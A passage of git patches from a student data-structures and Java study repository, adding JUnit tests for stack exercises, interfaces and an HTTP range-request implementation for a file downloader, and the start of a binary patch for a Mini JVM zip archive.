+	 * 获取第二个栈的栈顶元素
+	 * 
+	 * @return
+	 */
+
+	public Object peek2() {
+		return data[j + 1];
+	}
+
+}
diff --git a/group01/1814014897/zhouhui/src/week09/stack/test/QuickMinStackTest.java b/group01/1814014897/zhouhui/src/week09/stack/test/QuickMinStackTest.java
new file mode 100644
index 0000000000..5d37fb78af
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week09/stack/test/QuickMinStackTest.java
@@ -0,0 +1,63 @@
+package week09.stack.test;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import week09.stack.QuickMinStack;
+
+public class QuickMinStackTest {
+
+	QuickMinStack qms = new QuickMinStack();
+
+	@Before
+	public void setUp() throws Exception {
+		qms.push(9);
+		qms.push(5);
+		qms.push(6);
+		qms.push(10);
+		qms.push(2);
+		qms.push(3);
+		qms.push(13);
+	}
+
+	@Test
+	public void testPush() {
+		for (int i = 0; i < 10; i++) {
+			qms.push(i);
+		}
+		for (int i = 9; i >= 0; i--) {
+			Assert.assertEquals(i, qms.pop());
+		}
+	}
+
+	@Test
+	public void testPop() {
+		Assert.assertEquals(13, qms.pop());
+		Assert.assertEquals(3, qms.pop());
+		Assert.assertEquals(2, qms.pop());
+		Assert.assertEquals(10, qms.pop());
+		Assert.assertEquals(6, qms.pop());
+		Assert.assertEquals(5, qms.pop());
+		Assert.assertEquals(9, qms.pop());
+
+	}
+
+	@Test
+	public void testFindMin() {
+		Assert.assertEquals(2, qms.findMin());
+		qms.push(2);
+		qms.push(6);
+		qms.push(26);
+		Assert.assertEquals(2, qms.findMin());
+		qms.pop();
+		qms.pop();
+		qms.pop();
+		qms.pop();
+		qms.pop();
+		qms.pop();
+		Assert.assertEquals(5, qms.findMin());
+
+	}
+
+}
diff --git a/group01/1814014897/zhouhui/src/week09/stack/test/StackWithTwoQueuesTest.java b/group01/1814014897/zhouhui/src/week09/stack/test/StackWithTwoQueuesTest.java
new file mode 100644
index 0000000000..cd9f33519c
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week09/stack/test/StackWithTwoQueuesTest.java
@@ -0,0 +1,46 @@
+package week09.stack.test;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import week09.stack.StackWithTwoQueues;
+
+
+public class StackWithTwoQueuesTest {
+	
+	StackWithTwoQueues<Integer> swtq = new StackWithTwoQueues<Integer>();
+
+	@Before
+	public void setUp() throws Exception {
+		for(int i=0;i<100;i++){
+			swtq.push(i);
+		}
+	}
+
+	@Test
+	public void testPush() {
+		Assert.assertFalse(swtq.isEmpty());
+		Assert.assertEquals(100, swtq.size());
+		
+		for(int i=100;i<200;i++){
+			swtq.push(i);
+		}
+		
+		Assert.assertEquals(200, swtq.size());
+		for(int i=199;i>=0;i--){
+			Assert.assertEquals(i, swtq.pop().intValue());
+		}
+		Assert.assertEquals(0, swtq.size());
+	}
+
+	@Test
+	public void testPop() {
+		for(int i=99;i>=0;i--){
+			Assert.assertEquals(i, swtq.pop().intValue());
+		}
+		Assert.assertTrue(swtq.isEmpty());
+		Assert.assertEquals(0, swtq.size());
+	}
+
+}
diff --git a/group01/1814014897/zhouhui/src/week09/stack/test/TwoStackInOneArrayTest.java b/group01/1814014897/zhouhui/src/week09/stack/test/TwoStackInOneArrayTest.java
new file mode 100644
index 0000000000..ebbc4d6420
--- /dev/null
+++ b/group01/1814014897/zhouhui/src/week09/stack/test/TwoStackInOneArrayTest.java
@@ -0,0 +1,77 @@
+package week09.stack.test;
+
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import week09.stack.TwoStackInOneArray;
+
+
+public class TwoStackInOneArrayTest {
+	
+	TwoStackInOneArray tsioa = new TwoStackInOneArray();
+
+	@Before
+	public void setUp() throws Exception {
+		for(int i=0;i<10;i++){
+			tsioa.push1(i);
+		}
+		for(int j=20;j<30;j++){
+			tsioa.push2(j);
+		}
+	}
+
+	@Test
+	public void testPush1() {
+		for(int i=10;i<20;i++){
+			tsioa.push1(i);
+		}
+		for(int i=19;i>=0;i--){
+			Assert.assertEquals(i, tsioa.pop1());
+		}
+	}
+
+	@Test
+	public void testPop1() {
+		for(int i=9;i>=0;i--){
+			Assert.assertEquals(i, tsioa.pop1());
+		}
+	}
+
+	@Test
+	public void testPeek1() {
+		Assert.assertEquals(9, tsioa.peek1());
+		tsioa.pop1();
+		Assert.assertEquals(8, tsioa.peek1());
+		tsioa.pop1();
+		Assert.assertEquals(7, tsioa.peek1());
+	}
+
+	@Test
+	public void testPush2() {
+		for(int i=30;i<40;i++){
+			tsioa.push2(i);
+		}
+		for(int i=39;i>=20;i--){
+			Assert.assertEquals(i, tsioa.pop2());
+		}
+	}
+
+	@Test
+	public void testPop2() {
+		for(int i=29;i>=20;i--){
+			Assert.assertEquals(i, tsioa.pop2());
+		}
+	}
+
+	@Test
+	public void testPeek2() {
+		Assert.assertEquals(29, tsioa.peek2());
+		tsioa.pop2();
+		Assert.assertEquals(28, tsioa.peek2());
+		tsioa.pop2();
+		Assert.assertEquals(27, tsioa.peek2());
+	}
+
+}

From da4ec8465f3bf33427a03c98e23ac53c8ab7bd1a Mon Sep 17 00:00:00 2001
From: James <1310368322@qq.com>
Date: Sun, 7 May 2017 19:27:37 +0800
Subject: [PATCH 222/262] =?UTF-8?q?=E7=AC=AC=E5=85=AB=E6=AC=A1=E5=92=8C?=
 =?UTF-8?q?=E7=AC=AC=E4=B9=9D=E6=AC=A1=E4=BD=9C=E4=B8=9A?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../coderising/download/api/Connection.java   |  22 ++++
 .../download/api/ConnectionException.java     |   7 ++
 .../download/api/ConnectionManager.java       |  10 ++
 .../download/api/DownloadListener.java        |   5 +
 .../download/impl/ConnectionImpl.java         |  73 +++++++++++
 .../download/impl/ConnectionManagerImpl.java  |  16 +++
 .../src/Mini_JVM/com/coderising/jvm.zip       | Bin 0 -> 10088 bytes
 .../com/coderising/jvm/attr/CodeAttr.java     |  18 ++-
 .../com/coderising/jvm/clz/ClassFile.java     |  28 +++++
 .../com/coderising/jvm/cmd/BiPushCmd.java     |  11 ++
 .../coderising/jvm/cmd/ByteCodeCommand.java   |   4 +
 .../com/coderising/jvm/cmd/LdcCmd.java        |  20 +++
 .../com/coderising/jvm/cmd/NewObjectCmd.java  |  18 +++
 .../com/coderising/jvm/cmd/NoOperandCmd.java  |  11 ++
 .../com/coderising/jvm/cmd/PutFieldCmd.java   |  17 +++
 .../com/coderising/jvm/cmd/TwoOperandCmd.java |   8 ++
 .../coderising/jvm/constant/ClassInfo.java    |   7 ++
 .../coderising/jvm/constant/ConstantInfo.java |  12 ++
 .../coderising/jvm/constant/ConstantPool.java |   2 +-
 .../coderising/jvm/constant/FieldRefInfo.java |   8 ++
 .../jvm/constant/MethodRefInfo.java           |   8 ++
 .../jvm/constant/NameAndTypeInfo.java         |   8 ++
 .../jvm/constant/NullConstantInfo.java        |   6 +
 .../coderising/jvm/constant/StringInfo.java   |   9 ++
 .../com/coderising/jvm/constant/UTF8Info.java |   8 ++
 .../jvm/engine/ExecutionResult.java           |  52 ++++++++
 .../coderising/jvm/engine/ExecutorEngine.java |  70 +++++++++++
 .../com/coderising/jvm/engine/Heap.java       |  42 +++++++
 .../com/coderising/jvm/engine/JavaObject.java |  70 +++++++++++
 .../com/coderising/jvm/engine/MethodArea.java |  88 ++++++++++++++
 .../com/coderising/jvm/engine/MiniJVM.java    |  26 ++++
 .../coderising/jvm/engine/MiniJVMTest.java    |  21 ++++
 .../com/coderising/jvm/engine/StackFrame.java | 115 ++++++++++++++++++
 .../jvm/loader/ClassFileLoader.java           |   3 +-
 .../com/coderising/jvm/method/Method.java     |  54 ++++++++
 .../ArrayList.java                            |   0
 .../LinkedList.java                           |   0
 .../ArrayUtil.java                            |   0
 .../LinkedList.java                           |   0
 .../LRUPageFrame.java                         |   0
 .../StackUtil.java                            |   0
 .../InfixExpr.java                            |   0
 .../dataStructure_8_Queue/CircleQueue.java    |  40 ++++++
 .../dataStructure_8_Queue/Josephus.java       |  36 ++++++
 .../QueueWithTwoStack.java                    |  53 ++++++++
 .../dataStructure_9_Stack/Queue.java          |  61 ++++++++++
 .../dataStructure_9_Stack/QuickMinStack.java  |  52 ++++++++
 .../StackWithTwoQueue.java                    |  42 +++++++
 .../TwoStackInOneArray.java                   |  89 ++++++++++++++
 49 files changed, 1246 insertions(+), 4 deletions(-)
 create mode 100644 group11/1310368322/src/Mini_JVM/com/coderising/download/api/Connection.java
 create mode 100644 group11/1310368322/src/Mini_JVM/com/coderising/download/api/ConnectionException.java
 create mode 100644 group11/1310368322/src/Mini_JVM/com/coderising/download/api/ConnectionManager.java
 create mode 100644 group11/1310368322/src/Mini_JVM/com/coderising/download/api/DownloadListener.java
 create mode 100644 group11/1310368322/src/Mini_JVM/com/coderising/download/impl/ConnectionImpl.java
 create mode 100644 group11/1310368322/src/Mini_JVM/com/coderising/download/impl/ConnectionManagerImpl.java
 create mode 100644 group11/1310368322/src/Mini_JVM/com/coderising/jvm.zip
 create mode 100644 group11/1310368322/src/Mini_JVM/com/coderising/jvm/engine/ExecutionResult.java
 create mode 100644 group11/1310368322/src/Mini_JVM/com/coderising/jvm/engine/ExecutorEngine.java
 create mode 100644 group11/1310368322/src/Mini_JVM/com/coderising/jvm/engine/Heap.java
 create mode 100644 group11/1310368322/src/Mini_JVM/com/coderising/jvm/engine/JavaObject.java
 create mode 100644 group11/1310368322/src/Mini_JVM/com/coderising/jvm/engine/MethodArea.java
 create mode 100644 group11/1310368322/src/Mini_JVM/com/coderising/jvm/engine/MiniJVM.java
 create mode 100644 group11/1310368322/src/Mini_JVM/com/coderising/jvm/engine/MiniJVMTest.java
 create mode 100644 group11/1310368322/src/Mini_JVM/com/coderising/jvm/engine/StackFrame.java
 rename group11/1310368322/src/data_structure/{baseDataStructure_1 => dataStructure_1}/ArrayList.java (100%)
 rename group11/1310368322/src/data_structure/{baseDataStructure_1 => dataStructure_1}/LinkedList.java (100%)
 rename group11/1310368322/src/data_structure/{baseDataStructure_2 => dataStructure_2}/ArrayUtil.java (100%)
 rename group11/1310368322/src/data_structure/{baseDataStructure_3 => dataStructure_3}/LinkedList.java (100%)
 rename group11/1310368322/src/data_structure/{baseDataStructure_4_LRU => dataStructure_4_LRU}/LRUPageFrame.java (100%)
 rename group11/1310368322/src/data_structure/{baseDataStructure_5_Stack => dataStructure_5_Stack}/StackUtil.java (100%)
 rename group11/1310368322/src/data_structure/{baseDataStructure_6InfixExpr => dataStructure_6InfixExpr}/InfixExpr.java (100%)
 create mode 100644 group11/1310368322/src/data_structure/dataStructure_8_Queue/CircleQueue.java
 create mode 100644 group11/1310368322/src/data_structure/dataStructure_8_Queue/Josephus.java
 create mode 100644 group11/1310368322/src/data_structure/dataStructure_8_Queue/QueueWithTwoStack.java
 create mode 100644 group11/1310368322/src/data_structure/dataStructure_9_Stack/Queue.java
 create mode 100644 group11/1310368322/src/data_structure/dataStructure_9_Stack/QuickMinStack.java
 create mode 100644 group11/1310368322/src/data_structure/dataStructure_9_Stack/StackWithTwoQueue.java
 create mode 100644 group11/1310368322/src/data_structure/dataStructure_9_Stack/TwoStackInOneArray.java

diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/download/api/Connection.java b/group11/1310368322/src/Mini_JVM/com/coderising/download/api/Connection.java
new file mode 100644
index 0000000000..930cea370d
--- /dev/null
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/download/api/Connection.java
@@ -0,0 +1,22 @@
+package com.coderising.download.api;
+
+import java.io.IOException;
+
+public interface Connection {
+	/**
+	 * ������ʼ�ͽ���λ�ã���ȡ���ݣ�����ֵ���ֽ�����
+	 * @param startPos ��ʼλ�ã� ��0��ʼ
+	 * @param endPos �����
+	 * @return
+	 */
+	public byte[] read(int startPos, int endPos) throws IOException;
+	/**
+	 * �õ��������ݵij���
+	 * @return
+	 */
+	public int getContentLength();
+	/**
+	 * �ر�����
+	 */
+	public void close();
+}
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/download/api/ConnectionException.java b/group11/1310368322/src/Mini_JVM/com/coderising/download/api/ConnectionException.java
new file mode 100644
index 0000000000..35c8dc5758
--- /dev/null
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/download/api/ConnectionException.java
@@ -0,0 +1,7 @@
+package com.coderising.download.api;
+
+public class ConnectionException extends Exception{
+	public ConnectionException(Exception e){
+		super(e);
+	}
+}
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/download/api/ConnectionManager.java b/group11/1310368322/src/Mini_JVM/com/coderising/download/api/ConnectionManager.java
new file mode 100644
index 0000000000..bda19f285f
--- /dev/null
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/download/api/ConnectionManager.java
@@ -0,0 +1,10 @@
+package com.coderising.download.api;
+
+public interface ConnectionManager {
+	/**
+	 * ����һ�� URL����һ������
+	 * @param url
+	 * @return
+	 */
+	public Connection open(String url) throws ConnectionException;
+}
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/download/api/DownloadListener.java b/group11/1310368322/src/Mini_JVM/com/coderising/download/api/DownloadListener.java
new file mode 100644
index 0000000000..bf9807b307
--- /dev/null
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/download/api/DownloadListener.java
@@ -0,0 +1,5 @@
+package com.coderising.download.api;
+
+public interface DownloadListener {
+	public void notifyFinished();
+}
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/download/impl/ConnectionImpl.java b/group11/1310368322/src/Mini_JVM/com/coderising/download/impl/ConnectionImpl.java
new file mode 100644
index 0000000000..efa9e562cd
--- /dev/null
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/download/impl/ConnectionImpl.java
@@ -0,0 +1,73 @@
+package com.coderising.download.impl;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.HttpURLConnection;
+import java.net.URL;
+import java.net.URLConnection;
+import java.util.Arrays;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+
+public class ConnectionImpl implements Connection{
+	URL url;
+	static final int BUFFER_SIZE = 1024;
+	
+	ConnectionImpl(String _url) throws ConnectionException{
+		try {
+			url = new URL(_url);
+		} catch (Exception e) {
+			throw new ConnectionException(e);
+		}
+	}
+	@Override
+	public byte[] read(int startPos, int endPos) throws IOException {
+		//��ʼ
+		System.out.println("��ʼ");
+		HttpURLConnection httpConn = (HttpURLConnection) url.openConnection();
+		// ���ö�ȡ��λ��
+		httpConn.setRequestProperty("Range", "bytes=" + startPos + "-" + endPos);
+		// ��URL���ӻ��������
+		InputStream is = httpConn.getInputStream();
+		
+		//is.skip(startPos);
+		byte[] buff = new byte[BUFFER_SIZE];
+		int totalLen = endPos - startPos + 1;
+		ByteArrayOutputStream baos = new ByteArrayOutputStream();
+		
+		while(baos.size() < totalLen){
+			int len = is.read(buff);
+			if(len<0){
+				break;
+			}
+			baos.write(buff,0,len);
+		}
+		
+		if(baos.size() > totalLen){
+			byte[] data = baos.toByteArray();
+			return Arrays.copyOf(data, totalLen);
+		}
+		return baos.toByteArray();
+	}
+
+	@Override
+	public int getContentLength() {
+		URLConnection con;
+		try {
+			con = url.openConnection();
+			return con.getContentLength();
+		} catch (Exception e) {
+			e.printStackTrace();
+		}
+		return -1;
+	}
+
+	@Override
+	public void close() {
+		
+	}
+
+}
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/download/impl/ConnectionManagerImpl.java b/group11/1310368322/src/Mini_JVM/com/coderising/download/impl/ConnectionManagerImpl.java
new file mode 100644
index 0000000000..ff92aa77fe
--- /dev/null
+++ b/group11/1310368322/src/Mini_JVM/com/coderising/download/impl/ConnectionManagerImpl.java
@@ -0,0 +1,16 @@
+package com.coderising.download.impl;
+
+import java.net.URL;
+
+import com.coderising.download.api.Connection;
+import com.coderising.download.api.ConnectionException;
+import com.coderising.download.api.ConnectionManager;
+
+public class ConnectionManagerImpl implements ConnectionManager{
+	
+	@Override
+	public Connection open(String url) throws ConnectionException {
+		return new ConnectionImpl(url);
+	}
+
+}
diff --git a/group11/1310368322/src/Mini_JVM/com/coderising/jvm.zip b/group11/1310368322/src/Mini_JVM/com/coderising/jvm.zip
new file mode 100644
index 0000000000000000000000000000000000000000..6177632c3f52f4239f83463b078311ae0c48d8a4
GIT binary patch
literal 10088
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
